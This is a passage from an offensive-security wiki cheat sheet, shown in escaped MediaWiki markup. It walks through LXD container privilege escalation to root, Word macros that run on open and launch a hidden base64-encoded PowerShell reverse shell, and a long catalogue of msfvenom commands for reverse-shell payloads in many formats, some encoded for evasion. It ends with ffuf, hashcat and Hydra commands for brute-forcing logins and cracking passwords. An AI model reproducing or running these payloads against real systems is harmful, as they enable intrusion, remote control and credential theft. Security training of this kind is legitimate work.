ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine&lt;br /&gt;
ash@tabby:~$ lxc image list&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| ALIAS  | FINGERPRINT  | PUBLIC |              DESCRIPTION               | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| alpine | 9c716211a82e | no     | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64       | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
Error: No storage pool found. Please create a new storage pool&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fix no storage pool found with lxd init ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: hello&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]:&lt;br /&gt;
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:&lt;br /&gt;
Size in GB of the new loop device (1GB minimum) [default=5GB]:&lt;br /&gt;
Would you like to connect to a MAAS server? (yes/no) [default=no]:&lt;br /&gt;
Would you like to create a new local network bridge? (yes/no) [default=yes]:&lt;br /&gt;
What should the new bridge be called? [default=lxdbr0]:&lt;br /&gt;
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
Would you like the LXD server to be available over the network? (yes/no) [default=no]:&lt;br /&gt;
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]&lt;br /&gt;
Would you like a YAML &amp;quot;lxd init&amp;quot; preseed to be printed? (yes/no) [default=no]:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 5&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxc list&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
|  NAME   |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
| privesc | STOPPED |      |      | CONTAINER | 0         |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true&lt;br /&gt;
Device host-root added to privesc&lt;br /&gt;
ash@tabby:~$ lxc start privesc&lt;br /&gt;
ash@tabby:~$ lxc exec privesc /bin/sh&lt;br /&gt;
~ # id&lt;br /&gt;
uid=0(root) gid=0(root)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Macro ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Word ===&lt;br /&gt;
&lt;br /&gt;
Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.&lt;br /&gt;
&lt;br /&gt;
When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.&lt;br /&gt;
&lt;br /&gt;
Remember to set Macro in the document, otherwise it will only work locally.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Open Word --&amp;gt; View --&amp;gt; Macro --&amp;gt; Show Macro --&amp;gt; Create&lt;br /&gt;
# The below script will send a reverse shell powershell command&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim Str As String&lt;br /&gt;
Str = &amp;quot;powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
Str = Str + &amp;quot;AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QA=&amp;quot;&lt;br /&gt;
CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run Str&lt;br /&gt;
End Sub&lt;br /&gt;
------------------------&lt;br /&gt;
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and &#039;Powershell#3 Base64&#039;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]&lt;br /&gt;
└─# cat payload.py&lt;br /&gt;
str=&amp;quot;powershell -e JABjAGwAaQBlAG4AdAAgAD...&amp;quot;&lt;br /&gt;
n=50&lt;br /&gt;
for i in range(0,len(str),n):&lt;br /&gt;
    print(&amp;quot;Str = str+&amp;quot; + &#039;&amp;quot;&#039; + str[i:i+n] +&#039;&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
...................................&lt;br /&gt;
# The below script will ping target.&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run &amp;quot;Ping.exe -t 192.168.119.182&amp;quot;&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== LibreOffice Basic ===&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111937.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111909.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –&amp;gt; Customize and select Open Document.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Title&lt;br /&gt;
! URL&lt;br /&gt;
! Short Description&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Monitor Processes ==&lt;br /&gt;
&lt;br /&gt;
=== Process Explorer ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Real-time monitoring of active processes, threads, and modules.&lt;br /&gt;
&lt;br /&gt;
* Hierarchical view of processes, showing parent-child relationships.&lt;br /&gt;
&lt;br /&gt;
* Detailed information about process properties, memory usage, and CPU utilization.&lt;br /&gt;
&lt;br /&gt;
* Identification of the processes responsible for specific open handles or DLLs.&lt;br /&gt;
&lt;br /&gt;
* Capabilities to suspend, terminate, or explore processes.&lt;br /&gt;
&lt;br /&gt;
* Integration with VirusTotal to scan processes for malware.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.&lt;br /&gt;
&lt;br /&gt;
=== Process Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Detailed tracking of file system and registry operations, including reads, writes, and modifications.&lt;br /&gt;
&lt;br /&gt;
* Capturing of process and thread activity, including creation, termination, and interactions.&lt;br /&gt;
&lt;br /&gt;
* Filtering and searching capabilities to narrow down the captured data.&lt;br /&gt;
&lt;br /&gt;
* Advanced filtering to include/exclude specific processes, operations, or paths.&lt;br /&gt;
&lt;br /&gt;
* Ability to generate logs for analysis and troubleshooting.&lt;br /&gt;
&lt;br /&gt;
* Integration with other Sysinternals tools like Autoruns and TCPView.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.&lt;br /&gt;
&lt;br /&gt;
=== Process Hacker ===&lt;br /&gt;
&lt;br /&gt;
[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Focus:&#039;&#039;&#039; Process Hacker aims to provide an advanced task manager with detailed process information and control options.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Comprehensive process details, memory usage, and performance metrics.&lt;br /&gt;
&lt;br /&gt;
* Real-time graphs for system resource monitoring.&lt;br /&gt;
&lt;br /&gt;
* Advanced process management, including termination, suspension, and prioritization.&lt;br /&gt;
&lt;br /&gt;
* Tools for viewing and manipulating network connections and memory content.&lt;br /&gt;
&lt;br /&gt;
* Support for plugins to extend functionality.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Common Uses:&#039;&#039;&#039; In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Msfvenom commands ==&lt;br /&gt;
&lt;br /&gt;
=== What is exitfunc= in msfvenom ===&lt;br /&gt;
&lt;br /&gt;
Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:&lt;br /&gt;
&lt;br /&gt;
* none: do nothing and keep running&lt;br /&gt;
&lt;br /&gt;
* seh: use a special technique to exit without crashing&lt;br /&gt;
&lt;br /&gt;
* thread: stop the part of the program that runs the payload and leave the rest alone&lt;br /&gt;
&lt;br /&gt;
* process: kill the whole program that runs the payload&lt;br /&gt;
&lt;br /&gt;
The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.&lt;br /&gt;
&lt;br /&gt;
=== ASP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ASP or ASPX&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx &amp;gt; rev_shell.asp or aspx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bash ===&lt;br /&gt;
&lt;br /&gt;
=== hta ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.&lt;br /&gt;
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JSP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.jsp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WAR ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f war &amp;gt; shell.war&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.php&lt;br /&gt;
msfvenom -p php/reverse_php LHOST= LPORT= -f raw &amp;gt; shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Python&lt;br /&gt;
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Perl ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_perl LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.pl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux x64&lt;br /&gt;
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x64.elf&lt;br /&gt;
# Linux x86&lt;br /&gt;
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x86.elf&lt;br /&gt;
# UNIX CMD&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_bash LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.sh&lt;br /&gt;
# Fork a new process, xor encrypted&lt;br /&gt;
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== OSX ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f macho &amp;gt; shell.macho&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
MSI&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi &amp;gt; rev_shell.msi&lt;br /&gt;
Windows x64&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_x64_shell.exe&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd&lt;br /&gt;
Windows encoded payload&lt;br /&gt;
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b &#039;\x00&#039; -i 3 -f python&lt;br /&gt;
-e = encoding&lt;br /&gt;
-i = iteration (how many times to encode the payload)&lt;br /&gt;
-b = bad character&lt;br /&gt;
Stageless&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Staged&lt;br /&gt;
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Generating shellcode&lt;br /&gt;
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Fuzzers ==&lt;br /&gt;
&lt;br /&gt;
=== ffuf ===&lt;br /&gt;
&lt;br /&gt;
[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generic&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ&lt;br /&gt;
# File discovery using extensions&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html&lt;br /&gt;
# Vhost&lt;br /&gt;
ffuf -w subdomains.txt -u http://site.com/ -H &amp;quot;Host: FUZZ.site.com&amp;quot;&lt;br /&gt;
# Login forms generic&lt;br /&gt;
ffuf -w /wordlist -d &amp;quot;username=admin&amp;amp;password=FUZZ&amp;quot; -H &amp;quot;Content-Type: application/x-www-form-urlencoded&amp;quot; -u http://site.com/login&lt;br /&gt;
# POST bruteforce. -fs means filter out size 17.&lt;br /&gt;
ffuf -X POST -H &#039;Content-Type: application/json&#039; -d &#039;{&amp;quot;user&amp;quot;:&amp;quot;FUZZ&amp;quot;, &amp;quot;url&amp;quot;:&amp;quot;192.168.49.153/shell.elf&amp;quot;}&#039; -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== wfuzz ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Password Cracking ==&lt;br /&gt;
&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
&lt;br /&gt;
Example commands&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Attack-mode&lt;br /&gt;
! Hash-type&lt;br /&gt;
! Example command&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist&lt;br /&gt;
| $P$&lt;br /&gt;
| hashcat -a 0 -m 400 example400.hash example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist + Rules&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule&lt;br /&gt;
|-&lt;br /&gt;
| Brute-Force&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a&lt;br /&gt;
|-&lt;br /&gt;
| Combinator&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 1 -m 0 example0.hash example.dict example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Association&lt;br /&gt;
| $1$&lt;br /&gt;
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=hashcat&lt;br /&gt;
&lt;br /&gt;
==== Mask attack ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ?l =&lt;br /&gt;
| abcdefghijklmnopqrstuvwxyz&lt;br /&gt;
|-&lt;br /&gt;
| ?u&lt;br /&gt;
| ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;br /&gt;
|-&lt;br /&gt;
| ?d&lt;br /&gt;
| 0123456789&lt;br /&gt;
|-&lt;br /&gt;
| ?h&lt;br /&gt;
| 0123456789abcdef&lt;br /&gt;
|-&lt;br /&gt;
| ?H&lt;br /&gt;
| 0123456789ABCDEF&lt;br /&gt;
|-&lt;br /&gt;
| ?s&lt;br /&gt;
| «space»!&amp;quot;#$%&amp;amp;&#039;()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;br /&gt;
|-&lt;br /&gt;
| ?a&lt;br /&gt;
| ?l?u?d?s&lt;br /&gt;
|-&lt;br /&gt;
| ?b&lt;br /&gt;
| 0x00 - 0xff&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=mask_attack&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example command&lt;br /&gt;
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 &amp;quot;C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*&amp;quot; -r &amp;quot;rules\best64.rule&amp;quot;&lt;br /&gt;
# Restore session&lt;br /&gt;
hashcat.exe --session session1 --restore&lt;br /&gt;
# Show cracked hashes&lt;br /&gt;
hashcat.exe hash2.hc22000 -m 22000 --show&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hydra ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Command&lt;br /&gt;
| Description&lt;br /&gt;
|-&lt;br /&gt;
| hydra -P &amp;lt;wordlist&amp;gt; -v &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| Brute force against a protocol of your choice&lt;br /&gt;
|-&lt;br /&gt;
| hydra -v -V -u -L &amp;lt;username list&amp;gt; -P &amp;lt;password list&amp;gt; -t 1 -u &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)&lt;br /&gt;
|-&lt;br /&gt;
| hydra -t 1 -V -f -l &amp;lt;username&amp;gt; -P &amp;lt;wordlist&amp;gt; rdp://&amp;lt;ip&amp;gt;&lt;br /&gt;
| Attack a Windows Remote Desktop with a password list.&lt;br /&gt;
|-&lt;br /&gt;
| hydra -l &amp;lt;username&amp;gt; -P .&amp;lt;password list&amp;gt; $ip -V http-form-post &#039;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log In&amp;amp;testcookie=1:S=Location&#039;&lt;br /&gt;
